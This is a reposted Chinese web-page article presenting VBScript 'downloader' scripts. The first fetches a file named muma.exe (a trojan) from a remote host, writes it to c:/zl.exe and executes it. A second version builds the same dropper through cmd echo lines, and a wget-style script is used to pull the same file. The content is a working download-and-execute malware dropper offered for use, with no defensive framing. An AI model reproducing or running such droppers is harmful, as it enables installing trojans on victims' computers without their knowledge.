首页 > 编程 > VBScript > 正文

VBS下载者(通过vbscript实现文件下载)

2019-10-26 18:07:21
字体:
来源:转载
供稿:网友

一、VBS下载者:

复制代码 代码如下:

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://www.jbzj.com/muma.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:/zl.exe",2
wscript.sleep 1000
Shell.Run ("c:/zl.exe") '延迟过后执行下载文件

二、cmd下执行的版本:

复制代码 代码如下:

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
echo Post.Open "GET","http://www.jbzj.com/muma.exe",0 >>zl.vbs
echo Post.Send() >>zl.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
echo aGet.Mode = 3 >>zl.vbs
echo aGet.Type = 1 >>zl.vbs
echo aGet.Open() >>zl.vbs
echo aGet.Write(Post.responseBody) >>zl.vbs
echo aGet.SaveToFile "c:/zl.exe",2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo Shell.Run ("c:/zl.exe") >>zl.vbs

三、wget.vbs

复制代码 代码如下:

on error resume next
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
iUser=LCase(Wscript.Arguments(2))
iPass=LCase(Wscript.Arguments(3))
set xPost=CreateObject("Microsoft.XMLHTTP")
if iUser="" and iPass="" then
xPost.Open "GET",iRemote,0
else
xPost.Open "GET",iRemote,0,iUser,iPass
end if
xPost.Send()
set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2

使用方法:cscript wget.vbs http://www.jbzj.com/muma.exe

您可能感兴趣的文章:

支持断点下载的VBS代码vbs 多线程下载实现代码VBS下载文件的新方法VBS 下载方法(CDO.MESSAGE)使用vbs下载文件的代码加强版一个收集的下载木马并运行的VBS代码用ASP VBS xmlhttp adodbstream下载和保存图片的代码下载文件到本地运行的vbs
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表

图片精选